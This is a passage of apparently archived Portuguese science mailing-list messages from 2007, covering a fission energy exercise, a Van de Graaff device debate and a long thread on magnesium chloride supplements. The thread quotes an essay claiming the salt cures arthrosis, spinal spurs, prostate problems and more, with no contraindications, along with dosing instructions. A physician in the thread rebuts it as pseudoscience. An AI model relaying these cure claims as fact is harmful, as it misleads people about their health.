U-235 + 1 n = Rb-90 + Cs-143 + 3 n

A massa do urânio-235 (em unidades de massa atômica) é 235,0439242; do
rubídio-90, 89,9148; do césio-143, 142,9273 e do nêutron, 1,0086.

Considere q uma unidade de massa atômica equivale a 1,660538782 x
10^-27 kg e que a velocidade da luz no vácuo é de 299.792.458 m.s-1.
Qual o valor da energia - em joules - gerad[a] por essa reação?
http://br.groups.yahoo.com/group/ciencialist/message/63164
--------------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Fusão a frio
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/05/2007 18:30

De: "hymboldt2005"

>Pessoal estou em busca de referências sobre o tema Fusão a frio.

Assista ao filme "O Santo".
:-)

Léo


SUBJECT: Re: [ciencialist] Nao vai funcionar! Mas, por que?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/05/2007 18:31

Não entendi essa resposta. Please, refaça e retorne.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 29 de maio de 2007 19:09
Assunto: Res: [ciencialist] Nao vai funcionar! Mas, por que?


[E]> como uma lâmpada incandescente, feita de metal (onde deveria,
ser vidro) que solta raios?
a energia volta no fio antes de saltar da bola?

_\|/_




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SUBJECT: Re: [ciencialist] Re: Ferrari: ABC da CIENCIA
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/05/2007 18:34

De: "Silvio Cordeiro"

>Prezado SSilva:

>Procure entender: Embora raiando à metafísica, o jovem Ferrari é um poeta: E não está desgarrado aqui: suas provocações provocam pensares....

Discordo; está desgarrado aqui sim!
Discordo, não provoca pensares e sim pesares!
Discordo, não é um poeta. "Poetas" são as jovens mocinhas da atualidades.

[]'

Léo



SUBJECT: Re: [ciencialist] Re: Nao vai funcionar! Mas, por que?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/05/2007 18:38

De: "César A. K. Grossmann"

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>

>>O que acontece quando o tubo que certa o fio metálico atinge o
equilíbrio térmico com o fio metálico?

Oi César,
nada de mais notório acontece, o tubo continuará emitindo elétrons na temperatura do filamento. Aliás, esse é o caso ideal que deveria acontecer com os catodos que revestem os filamentos das válvulas.

[]'
Léo


SUBJECT: Res: [ciencialist] Nao vai funcionar! Mas, por que?
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 19:04

[E]> ... ...os elétrons vão se acumulando na calota metálica
e deveríam saltar pelo ar, mas saltam primeiro para o pólo positivo
que alimenta a resistência.


----- Mensagem original ----
De: Luiz Ferraz Netto <leobarretos@uol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quarta-feira, 30 de Maio de 2007 18:31:31
Assunto: Re: [ciencialist] Nao vai funcionar! Mas, por que?













Não entendi essa resposta. Please, refaça e retorne.



[]'

============ ========= ======

Luiz Ferraz Netto [Léo]

leobarretos@ uol.com.br

http://www.feiradec iencias.com. br/doacoes. asp

============ ========= ======

-----Mensagem Original---- -

De: "Eurico Ferreira de Souza Jr." <caodejah@yahoo. com.br>

Para: <ciencialist@ yahoogrupos. com.br>

Enviada em: terça-feira, 29 de maio de 2007 19:09

Assunto: Res: [ciencialist] Nao vai funcionar! Mas, por que?



[E]> como uma lâmpada incandescente, feita de metal (onde deveria,

ser vidro) que solta raios?

a energia volta no fio antes de saltar da bola?














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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: p/Dr.Loiola - [ciencialist] Cloreto de Magnésio
FROM: João Batista Ferreira de Andrade <ferreiraandrade2000@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br, alessandroloiola@yahoo.com.br
CC: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 19:30

Prezados Alessandro Loiola, Murilo Filo, José Renato e demais listeiros,

E, a questão do risco de EPIDEMIA DE CÂNCER, quando o CLORETO DE MAGNÉSIO, sem o " PA " - Para Análise, é consumido pela população?!...Quem poderia esclarecer?...

Abraços,

João Batista <ferreiraandrade2000@yahoo.com.br

murilo filo <avalanchedrive@hotmail.com> escreveu:
Dr. Loiola,
boa tarde!
Obrigado pela sua consideração, comentários, links e pela sua última frase.
Tento ficar, concientemente, com a lucidez... uma chance de evolução.
Estou copiando sua resposta p/a lista, pq acho que vc não irá se importar e
pq há relevância.
Outras coisas que lí na internet falam da MAIOR atividade e combinação
biológica do cloreto de Mg... parece que outros compostos são bem mais
estáveis.
Obrigado, novamente.
Bom trabalho!
Abraço!
Murilo SP 30/mai07

>From: Alessandro Loiola <alessandroloiola@yahoo.com.br>
>To: murilo filo <avalanchedrive@hotmail.com>
>Subject: Re: p/Dr.Loiola - [ciencialist] Cloreto de Magnésio
>Date: Tue, 29 May 2007 00:47:24 -0300 (ART)
>
>Murilo,
>
> grato pelo voto de confiança. Vamos ver se consigo adicionar algo de
>útil à questão.
>
> O magnésio está diretamente envolvido no metabolismo ósseo, ajudando na
>formação de osso saudável e aumentando a densidade óssea. Estes efeitos o
>tornam um componente importante no tratamento da Osteoporose, especialmente
>nos casos avançados -
>http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=12916289&query_hl=3&itool=pubmed_docsum
>
> Fora isso, o uso de suplementos de Magnésio possui indicações e
>contra-indicações bastante específicas -
>http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=2187780&query_hl=3&itool=pubmed_docsum
>.- q pouco ou nada têm a ver com o citado no texto.
>
> Alguns estudos sérios sugerem que suplementos de Magnésio podem reduzir
>a incidência de complicações do Diabetes Melito
>-http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=10218382&query_hl=3&itool=pubmed_docsum
>,
>
>
>http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=16978367&query_hl=4&itool=pubmed_docsum
>
> e da hipertensão arterial -
>http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=16470086&query_hl=4&itool=pubmed_docsum
>
> mas os autores concordam que serão necessários mais e melhores estudos
>para comprovar definitivamente estes efeitos.
>
> O restante do email sobre suplementos de Magnésio se assemelha bastante
>àquela velha mistura de pseudo-ciência com relatos testemunhais q faz tanto
>sucesso na Internet.
>
> É uma pena. Esse tipo de texto possui um efeito adverso sobre a Medicina
>Natural e a Fitoterapia ao ajudar a perpetuar a áura de curandeirismo
>neolítico que insiste em envolver uma das mais fascinantes áreas da
>pesquisa biomédica.
>
> O q só nos faz chegar a uma conclusão óbvia: a Lucidez é uma sina. A
>ignorância, uma benção.
>
> Um abraço,
>
> A.
>
>
>
>
>murilo filo <avalanchedrive@hotmail.com> escreveu:
> Caro Dr. Loiola,
>boa tarde!
>Sou seu leitor no ciencialist e gosto de suas matérias.
>Veja o texto abaixo, enviado por um listeiro.
>Maravilha? Se 10% for verdade, acho que é!
>Trata-se de MgCl²-6H²O.
>Fácil de ser experimentado e de ser conferido.
>Nenhum membro do forum até agora comentou...
>Mais tarde, gostaria de saber sua opinião sobre este sal que parece ser
>biologicamente muito ativo.
>Muito obrigado!
>Abraço!
>Murilo
>SP 28/mai07
>
>
> >From: João Batista Ferreira de Andrade
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: Re: [ciencialist] Cloreto de Magnésio
> >Date: Sat, 26 May 2007 09:36:32 -0300 (ART)
> >
> >Olá, caros listeiros
> >
> > Revendo esta mensagem, gostaria de informar que faço uso do CLORETO DE
> >MAGNÉSIO - atualmente sem "PA " ( Para análise ), com bons
>resultados...E,
> >pelo que tenho pesquisado, o seu consumo é muito grande entre a
>população.
> >Antes, os frascos traziam o tal "PA"...
> >
> > No livro A SAÚDE brota da natureza, do Professor Jaime Bruning ( pag.
> >191 ), o Padre Beno Shorr alerta para só comprar o CLORETO DE MAGNÉSIO
>PA,
> >aquele usado em laboratório. Ele diz que o de farmácia, sem especificação
> >de pureza e sem ser "PA ", não serve para consumo, e depois de alguns
>anos
> >de uso, facilmente gera um CÂNCER, devido ao acúmulo no organismo dos
> >metais pesados que contém, como chumbo e outros.
> >
> >
> >...............................................................................................................
> > ALERTA: se assim for, teremos, brevemente, uma EPIDEMIA de CÂNCER pelo
> >Brasil afora, pois, as embalagens vendidas nas farmácias, em geral, não
> >apresentam a tal especificação "PA "...E informam que têm Autorização de
> >Funcionamento M S 101 706. Pelo Tel SAC 0800 11 60 32, fui informado pelo
> >"Químico" da área de fabricação que não era mais necessária esta
>informação
> >"PA " no rótulo, pois foram dispensados pelos órgãos fiscalizadores da
> >SAÚDE PÚBLICA!...E, que em breve, remeteria uma justificativa técnica
>para
> >o meu conhecimento...Estou aguardando por mais de um ano...
> >
> >.................................................................................................................
> >
> > E agora, José?...
> >
> > Alguém tem o e-mail do Padre J. Shorr para trocarmos algumas
> >figurinhas?!...
> >
> > Obrigado
> >
> > João Batista ferreiraandrade2000@yahoo.com.br
> >
> >
> >
> >José Renato escreveu:
> > Olá! Alguém já teve experiência de recuperação e cura de alguma doença
> >ou sintoma usando cloreto de magnésio? Lembro que o Deputado Ulisses
> >Guimarães usava-o diariamente e se dizia fã de algum remédio com
>magnésio.
> >
> >Abraços
> >
> >José Renato
> >
> >.......................................
> >
> >
> >
> >Cloreto de Magnésio
> >
> >
> >
> >J. Shorr *
> >
> >Quem sofre de bico de papagaio, nervo ciático, coluna e calcificação
>podem
> >se curar de forma perfeita, indolor, fácil e barata. E tem, ao mesmo
> >tempo, a cura de todas as doenças causadas pela carência de cloreto de
> >magnésio no passado, até a artrose.
> >Iniciei minha cura aos 61 anos. Dez anos antes, eu estava quase
> >paralítico, sentia pontadas agudas na região lombar - um bico de papagaio
> >incurável, segundo o médico. Mas reparei ser reumatismo, que curei com
> >Ketacil, esquecendo-me, então, do bico de papagaio que antes já provocava
> >um peso crescente na barriga da perna direita. Após cinco anos, o peso
> >virou dor e, apesar de todos os tratamentos, só aumentava. Dois anos
> >depois atinei com a causa: mal me levantava da cama um formigamento
>descia
> >pela perna até os pés. Ao abaixar-me, o formigamento cessava; erguia-me
> >ele voltava. Repeti as duas posições. Deduzi que só poderia ser aquele
> >bico de papagaio, que apertava o nervo ciático na terceira vértebra,
> >quando em pé; curvando-me, lhe dava folga. Fiz então meus trabalhos, o
> >mais possível sentado. Havia anos que fazia tudo sentado, menos a missa,
>o
> >que era um tormento. E adiava a viagem à ilha de Marajó, onde devia
> >completar a rede de rádio-telefonia de 48 estações em 6
> >Estados. Após seis meses, viajei, esperando melhorar naquele eterno
> >verão.
> >Mas piorou de vez. Rezava a missa sentado e sentado orientava meus
> >ajudantes a montar os mastros e esticar as antenas por cima dos telhados.
> >Sem tardar, voltei a Florianópolis com novas radiografias e procurei um
> >especialista. Agora já era um bando de bicos de papagaios, calcificados,
> >duros em grau avançado. Nada se poderia fazer. As dez aplicações de ondas
> >curtas e distensões da coluna não detiveram a dor, a ponto de nem mais
> >deitado eu poder dormir. Ficava sentado, até quase cair da cadeira, de
> >tanto sono. Foi quando atinei que podia dormir enrolado ou sentado para
> >fugir da dor. E então? Assim, desenganado, apelei ao bom Deus. "Estás
> >vendo a tua criatura"?
> >Não lhe custava dar um jeitinho...
> >Providencialmente, fui ao Encontro dos Jesuítas Cientistas, em Porto
> >Alegre, e o Padre Suarez me disse ser fácil à cura com cloreto de
> >magnésio, mostrando-me o pequeno livro do Padre Puig, jesuíta espanhol
>que
> >descobriu o uso do cloreto de magnésio: sua mão era dura de tão
> >calcificada, mas, com este sal, ficou móvel como a de uma menina; o mesmo
> >aconteceu com parentes seu. E brincando, ele disse: "Com este sal só se
> >morre dando um tiro na cabeça ou por acidente". Em Florianópolis, logo
> >comecei a tomar uma dose pela manhã e uma à noite; mesmo assim continuei
> >dormindo encolhido até o 20º dia; naquela manhã, porém, acordei estirado
> >na casa, sem dor. Mas caminhar ainda era um sofrimento. Depois de 30
>dias,
> >eu me levantei sentindo-me estranho: "Será que estou sonhando? Nada mais
> >me doía! Dei até uma voltinha pela cidade, sentindo, contudo, o peso de
>10
> >anos antes. Aos 40 dias caminhei o dia inteiro sentindo menos peso; três
> >meses depois minha flexibilidade aumentava. Dez meses
> >já se passaram e me dobro quase como uma cobra".
> >Outros efeitos: O cloreto de magnésio arranca o cálcio dos lugares
> >indevidos e o fixa solidamente nos ossos. Ainda mais: minha pulsação que
> >sempre estava abaixo de 40 - eu já pensava em marca passo -
>normalizou-se.
> >O sistema nervoso ficou motorialmente calmo, ganhei maior lucidez, meu
> >sangue estava descalcificado e fluido. As freqüentes pontadas do fígado
> >desapareceram. A próstata, que eu deveria operar assim que tivesse uma
> >folga nos trabalhos, já não me incomoda muito. Houve ainda outros
>efeitos,
> >a ponto de várias pessoas me perguntarem: "O que está acontecendo com
> >você?" Está mais jovem!
> >"É isso mesmo". Voltou-me a alegria de viver. Por isso, me vejo na
> >obrigação de repartir o "jeitinho" que o bom Deus me deu. Centenas se
> >curaram em Santa Catarina depois de anos de sofrimento com males da
> >coluna, artrose etc.
> >Importância do cloreto de magnésio: O cloreto de magnésio produz o
> >equilíbrio mineral, anima os órgãos em suas funções (catalisadoras), como
> >os rins, para eliminar o ácido úrico nas artroses; descalcifica até as
> >finas membranas nas articulações e as escleroses calcificadas, evitando
> >enfartes; purificando o sangue vitaliza o cérebro, desenvolve ou conserva
> >a juventude até alta idade. O cloreto de magnésio é, de todos os sais, o
> >menos dispensável, como o professor na aula.
> >Uso: após os 40 anos, o organismo absorve sempre menos cloreto de
> >magnésio, produzindo velhice e doenças. Por isso deve ser tomado conforme
> >a idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
> >anos aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose
>pela
> >manhã e 1 dose à noite.
> >Atenção: Para quem vive na cidade e ingere alimentos de baixa qualidade
> >(refinados e enlatados) recomenda-se uma dose um pouco maior, e para
> >pessoas do campo um pouco menos. O cloreto de magnésio não cria hábito,
> >mas ao deixá-lo perde-se a proteção. Com o uso do cloreto de magnésio há
> >tendência à eliminação das doenças e uma diminuição significativa do
> >desgaste natural.
> >Só não se deixe levar pelo comodismo, até que uma doença se instale;
> >porque viver com dores e mal estar se é possível gozar de uma saúde
> >radiante?
> >O cloreto de magnésio não é remédio, mas alimento. E não tem
> >contra-indicação. É compatível com qualquer medicamento simultâneo. O
> >adulto precisaria obter dos alimentos o equivalente a três doses; se não
> >conseguir, pode aumentar um pouco a dose diária para não adoecer;
> >dificilmente se ultrapassa o limite, pois as doses indicadas para pessoas
> >de 40 a 100 anos são mínimas.
> >O cloreto de magnésio põe em ordem todo o corpo e é indicado para homens
>e
> >mulheres. No caso das mulheres ele ajuda a prevenir osteoporose.
> >Recomendações: Quem sofre de bico de papagaio, obesidade, nervo
> >ciático, coluna, arteriosclerose, rins, calcificação, surdez por
> >calcificação, deve iniciar o tratamento com uma dose pela manhã, uma dose
> >à tarde, uma dose à noite.
> >Quando curado, deve-se tomar o cloreto de magnésio como preventivo, isto
> >é, conforme a idade.
> >Artrose: o ácido úrico se deposita nas articulações do corpo, em
> >particular nos dedos, que até incham. Isso resulta de uma falha no
> >funcionamento dos rins, justamente por falta do cloreto de magnésio.
>Tenha
> >cautela: se um rim talvez já esteja se deteriorando, tome apenas uma dose
> >pela manhã. Se em 20 dias não sentir melhoras e não cessar a
>anormalidade,
> >tome uma dose pela manhã e uma dose à noite. Depois de curado, continue
> >com as doses normais, como preventivo.
> >Próstata: aqui vou citar um exemplo. Um homem muito idoso já não
> >conseguia urinar. Algum tempo antes da operação, lhe deram cloreto de
> >magnésio como preparação, e ele começou a melhorar. Depois de uma semana
> >sentia-se bem, e a operação foi cancelada. Há casos em que a próstata
> >regride, às vezes, ao normal, tomando-se 2 doses pela manhã, duas doses à
> >tarde, duas doses à noite. Ao melhorar, tome a dose preventiva.
> >Outros problemas: como reumatismo, rigidez muscular, impotência sexual,
> >câimbras, tremores, frigidez, artérias duras, falta de atividade
>cerebral,
> >sistema nervoso: uma dose pela manhã, uma dose à tarde, uma dose à noite.
> >Sentindo-se melhor, passar para a dose preventiva.
> >Preparo: como preparar e usar a solução de cloreto de magnésio:
> >dissolver 33 gramas de cloreto de magnésio (essa dosagem já está à venda,
> >em farmácias - em 2004 custava 1,20) em 1 litro de água filtrada (melhor
> >fervida). Depois de bem misturado, colocar em vasilhames de vidro (não de
> >plástico) e guardar na geladeira. A dose é um cálice de licor segundo a
> >idade: dos 20 anos aos 55 anos 1/2 dose, ou seja, meio cálice; dos 55
> >anos, aos 70 anos, uma dose (um cálice), dos 70 anos aos 100, uma dose
> >pela manhã e 1 dose à noite.
> >Onde encontrar: em farmácias de produtos naturais ou mesmo nas
> >alopáticas.
> >
> >
> >* J. Shorr é padre, Professor de Física, Química e Biologia do Colégio
> >Catarinense / Sta. Catarina.
> >
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>Dr. Alessandro Loiola, M.D.
>CRMMG 30.278
>Hospital: +55 (31) 3432 1222
>Consultório: +55 (31) 3432 7555
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SUBJECT: Re: [ciencialist] Nao vai funcionar! Mas, por que?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/05/2007 19:58

Não pode ocorrer isso. Devido ao efeito 'balde de Faraday', toda carga elétrica que chega na placa ligada à cúpula, passa para o lado de fora; a face interna da cúpula é sempre neutra. O potencial elétrico da cúpula vai aumentando, mas o potencial elétrico de qqer carga que chega placa interna é sempre maior que o potencial da cúpula (a demonstração disso está no gerador de van de graaff da sala 11) .
Sei que não vai funcionar ... mas ainda não sei o porque! Quem sabe o Ferrari nos ajuda!

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 30 de maio de 2007 19:04
Assunto: Res: [ciencialist] Nao vai funcionar! Mas, por que?


[E]> ... ...os elétrons vão se acumulando na calota metálica
e deveríam saltar pelo ar, mas saltam primeiro para o pólo positivo
que alimenta a resistência.


----- Mensagem original ----
De: Luiz Ferraz Netto <leobarretos@uol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quarta-feira, 30 de Maio de 2007 18:31:31
Assunto: Re: [ciencialist] Nao vai funcionar! Mas, por que?













Não entendi essa resposta. Please, refaça e retorne.



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Luiz Ferraz Netto [Léo]

leobarretos@ uol.com.br

http://www.feiradec iencias.com. br/doacoes. asp

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-----Mensagem Original---- -

De: "Eurico Ferreira de Souza Jr." <caodejah@yahoo. com.br>

Para: <ciencialist@ yahoogrupos. com.br>

Enviada em: terça-feira, 29 de maio de 2007 19:09

Assunto: Res: [ciencialist] Nao vai funcionar! Mas, por que?



[E]> como uma lâmpada incandescente, feita de metal (onde deveria,

ser vidro) que solta raios?

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SUBJECT: Re: p/Dr.Loiola - [ciencialist] Cloreto de Magnésio
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/05/2007 22:04

Sem drama: vc e o resto do Brasil podem passar na Drogasil e comprar o MgCl²
grau PA, marca Deshydrater, do PR. Produto dispensado de registro na Anvisa.
Vem num pote com 2 envelopes de 33g, ao preço de R$ 1,66 +/-.
Tem muita bosta na internet, mas esta eu estou conferindo, de olho numa
velha artrite e mais outras coisinhas.
Não é o meu caso, mas pra pressão e diabetes deve ser batata.
Mesmo geladinho, o gosto é horrorozo e solta um pouco o intestino.
No estômago ainda não aconteceu nada.
abr. M.


>From: João Batista Ferreira de Andrade <ferreiraandrade2000@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br, alessandroloiola@yahoo.com.br
>CC: ciencialist@yahoogrupos.com.br
>Subject: Re: p/Dr.Loiola - [ciencialist] Cloreto de Magnésio
>Date: Wed, 30 May 2007 19:30:15 -0300 (ART)
>
>Prezados Alessandro Loiola, Murilo Filo, José Renato e demais listeiros,
>
> E, a questão do risco de EPIDEMIA DE CÂNCER, quando o CLORETO DE
>MAGNÉSIO, sem o " PA " - Para Análise, é consumido pela população?!...Quem
>poderia esclarecer?...
>
> Abraços,
>
> João Batista <ferreiraandrade2000@yahoo.com.br
>
>murilo filo <avalanchedrive@hotmail.com> escreveu:
> Dr. Loiola,
>boa tarde!
>Obrigado pela sua consideração, comentários, links e pela sua última frase.
>Tento ficar, concientemente, com a lucidez... uma chance de evolução.
>Estou copiando sua resposta p/a lista, pq acho que vc não irá se importar e
>pq há relevância.
>Outras coisas que lí na internet falam da MAIOR atividade e combinação
>biológica do cloreto de Mg... parece que outros compostos são bem mais
>estáveis.
>Obrigado, novamente.
>Bom trabalho!
>Abraço!
>Murilo SP 30/mai07
>
> >From: Alessandro Loiola <alessandroloiola@yahoo.com.br>
> >To: murilo filo <avalanchedrive@hotmail.com>
> >Subject: Re: p/Dr.Loiola - [ciencialist] Cloreto de Magnésio
> >Date: Tue, 29 May 2007 00:47:24 -0300 (ART)
> >
> >Murilo,
> >
> > grato pelo voto de confiança. Vamos ver se consigo adicionar algo de
> >útil à questão.
> >
> > O magnésio está diretamente envolvido no metabolismo ósseo, ajudando na
> >formação de osso saudável e aumentando a densidade óssea. Estes efeitos o
> >tornam um componente importante no tratamento da Osteoporose,
>especialmente
> >nos casos avançados -
> >http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=12916289&query_hl=3&itool=pubmed_docsum
> >
> > Fora isso, o uso de suplementos de Magnésio possui indicações e
> >contra-indicações bastante específicas -
> >http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=2187780&query_hl=3&itool=pubmed_docsum
> >.- q pouco ou nada têm a ver com o citado no texto.
> >
> > Alguns estudos sérios sugerem que suplementos de Magnésio podem reduzir
> >a incidência de complicações do Diabetes Melito
> >-http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=10218382&query_hl=3&itool=pubmed_docsum
> >,
> >
> >
> >http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=16978367&query_hl=4&itool=pubmed_docsum
> >
> > e da hipertensão arterial -
> >http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=16470086&query_hl=4&itool=pubmed_docsum
> >
> > mas os autores concordam que serão necessários mais e melhores estudos
> >para comprovar definitivamente estes efeitos.
> >
> > O restante do email sobre suplementos de Magnésio se assemelha bastante
> >àquela velha mistura de pseudo-ciência com relatos testemunhais q faz
>tanto
> >sucesso na Internet.
> >
> > É uma pena. Esse tipo de texto possui um efeito adverso sobre a Medicina
> >Natural e a Fitoterapia ao ajudar a perpetuar a áura de curandeirismo
> >neolítico que insiste em envolver uma das mais fascinantes áreas da
> >pesquisa biomédica.
> >
> > O q só nos faz chegar a uma conclusão óbvia: a Lucidez é uma sina. A
> >ignorância, uma benção.
> >
> > Um abraço,
> >
> > A.
> >
> >
> >
> >
> >murilo filo <avalanchedrive@hotmail.com> escreveu:
> > Caro Dr. Loiola,
> >boa tarde!
> >Sou seu leitor no ciencialist e gosto de suas matérias.
> >Veja o texto abaixo, enviado por um listeiro.
> >Maravilha? Se 10% for verdade, acho que é!
> >Trata-se de MgCl²-6H²O.
> >Fácil de ser experimentado e de ser conferido.
> >Nenhum membro do forum até agora comentou...
> >Mais tarde, gostaria de saber sua opinião sobre este sal que parece ser
> >biologicamente muito ativo.
> >Muito obrigado!
> >Abraço!
> >Murilo
> >SP 28/mai07
> >
> >
> > >From: João Batista Ferreira de Andrade
> > >Reply-To: ciencialist@yahoogrupos.com.br
> > >To: ciencialist@yahoogrupos.com.br
> > >Subject: Re: [ciencialist] Cloreto de Magnésio
> > >Date: Sat, 26 May 2007 09:36:32 -0300 (ART)
> > >
> > >Olá, caros listeiros
> > >
> > > Revendo esta mensagem, gostaria de informar que faço uso do CLORETO DE
> > >MAGNÉSIO - atualmente sem "PA " ( Para análise ), com bons
> >resultados...E,
> > >pelo que tenho pesquisado, o seu consumo é muito grande entre a
> >população.
> > >Antes, os frascos traziam o tal "PA"...
> > >
> > > No livro A SAÚDE brota da natureza, do Professor Jaime Bruning ( pag.
> > >191 ), o Padre Beno Shorr alerta para só comprar o CLORETO DE MAGNÉSIO
> >PA,
> > >aquele usado em laboratório. Ele diz que o de farmácia, sem
>especificação
> > >de pureza e sem ser "PA ", não serve para consumo, e depois de alguns
> >anos
> > >de uso, facilmente gera um CÂNCER, devido ao acúmulo no organismo dos
> > >metais pesados que contém, como chumbo e outros.
> > >
> > >
> >
> >...............................................................................................................
> > > ALERTA: se assim for, teremos, brevemente, uma EPIDEMIA de CÂNCER pelo
> > >Brasil afora, pois, as embalagens vendidas nas farmácias, em geral, não
> > >apresentam a tal especificação "PA "...E informam que têm Autorização
>de
> > >Funcionamento M S 101 706. Pelo Tel SAC 0800 11 60 32, fui informado
>pelo
> > >"Químico" da área de fabricação que não era mais necessária esta
> >informação
> > >"PA " no rótulo, pois foram dispensados pelos órgãos fiscalizadores da
> > >SAÚDE PÚBLICA!...E, que em breve, remeteria uma justificativa técnica
> >para
> > >o meu conhecimento...Estou aguardando por mais de um ano...
> > >
> >
> >.................................................................................................................
> > >
> > > E agora, José?...
> > >
> > > Alguém tem o e-mail do Padre J. Shorr para trocarmos algumas
> > >figurinhas?!...
> > >
> > > Obrigado
> > >
> > > João Batista ferreiraandrade2000@yahoo.com.br
> > >
> > >
> > >
> > >José Renato escreveu:
> > > Olá! Alguém já teve experiência de recuperação e cura de alguma doença
> > >ou sintoma usando cloreto de magnésio? Lembro que o Deputado Ulisses
> > >Guimarães usava-o diariamente e se dizia fã de algum remédio com
> >magnésio.
> > >
> > >Abraços
> > >
> > >José Renato
> > >
> > >.......................................
> > >
> > >
> > >
> > >Cloreto de Magnésio
> > >
> > >
> > >
> > >J. Shorr *
> > >
> > >Quem sofre de bico de papagaio, nervo ciático, coluna e calcificação
> >podem
> > >se curar de forma perfeita, indolor, fácil e barata. E tem, ao mesmo
> > >tempo, a cura de todas as doenças causadas pela carência de cloreto de
> > >magnésio no passado, até a artrose.
> > >Iniciei minha cura aos 61 anos. Dez anos antes, eu estava quase
> > >paralítico, sentia pontadas agudas na região lombar - um bico de
>papagaio
> > >incurável, segundo o médico. Mas reparei ser reumatismo, que curei com
> > >Ketacil, esquecendo-me, então, do bico de papagaio que antes já
>provocava
> > >um peso crescente na barriga da perna direita. Após cinco anos, o peso
> > >virou dor e, apesar de todos os tratamentos, só aumentava. Dois anos
> > >depois atinei com a causa: mal me levantava da cama um formigamento
> >descia
> > >pela perna até os pés. Ao abaixar-me, o formigamento cessava; erguia-me
> > >ele voltava. Repeti as duas posições. Deduzi que só poderia ser aquele
> > >bico de papagaio, que apertava o nervo ciático na terceira vértebra,
> > >quando em pé; curvando-me, lhe dava folga. Fiz então meus trabalhos, o
> > >mais possível sentado. Havia anos que fazia tudo sentado, menos a
>missa,
> >o
> > >que era um tormento. E adiava a viagem à ilha de Marajó, onde devia
> > >completar a rede de rádio-telefonia de 48 estações em 6
> > >Estados. Após seis meses, viajei, esperando melhorar naquele eterno
> > >verão.
> > >Mas piorou de vez. Rezava a missa sentado e sentado orientava meus
> > >ajudantes a montar os mastros e esticar as antenas por cima dos
>telhados.
> > >Sem tardar, voltei a Florianópolis com novas radiografias e procurei um
> > >especialista. Agora já era um bando de bicos de papagaios,
>calcificados,
> > >duros em grau avançado. Nada se poderia fazer. As dez aplicações de
>ondas
> > >curtas e distensões da coluna não detiveram a dor, a ponto de nem mais
> > >deitado eu poder dormir. Ficava sentado, até quase cair da cadeira, de
> > >tanto sono. Foi quando atinei que podia dormir enrolado ou sentado para
> > >fugir da dor. E então? Assim, desenganado, apelei ao bom Deus. "Estás
> > >vendo a tua criatura"?
> > >Não lhe custava dar um jeitinho...
> > >Providencialmente, fui ao Encontro dos Jesuítas Cientistas, em Porto
> > >Alegre, e o Padre Suarez me disse ser fácil à cura com cloreto de
> > >magnésio, mostrando-me o pequeno livro do Padre Puig, jesuíta espanhol
> >que
> > >descobriu o uso do cloreto de magnésio: sua mão era dura de tão
> > >calcificada, mas, com este sal, ficou móvel como a de uma menina; o
>mesmo
> > >aconteceu com parentes seu. E brincando, ele disse: "Com este sal só se
> > >morre dando um tiro na cabeça ou por acidente". Em Florianópolis, logo
> > >comecei a tomar uma dose pela manhã e uma à noite; mesmo assim
>continuei
> > >dormindo encolhido até o 20º dia; naquela manhã, porém, acordei
>estirado
> > >na casa, sem dor. Mas caminhar ainda era um sofrimento. Depois de 30
> >dias,
> > >eu me levantei sentindo-me estranho: "Será que estou sonhando? Nada
>mais
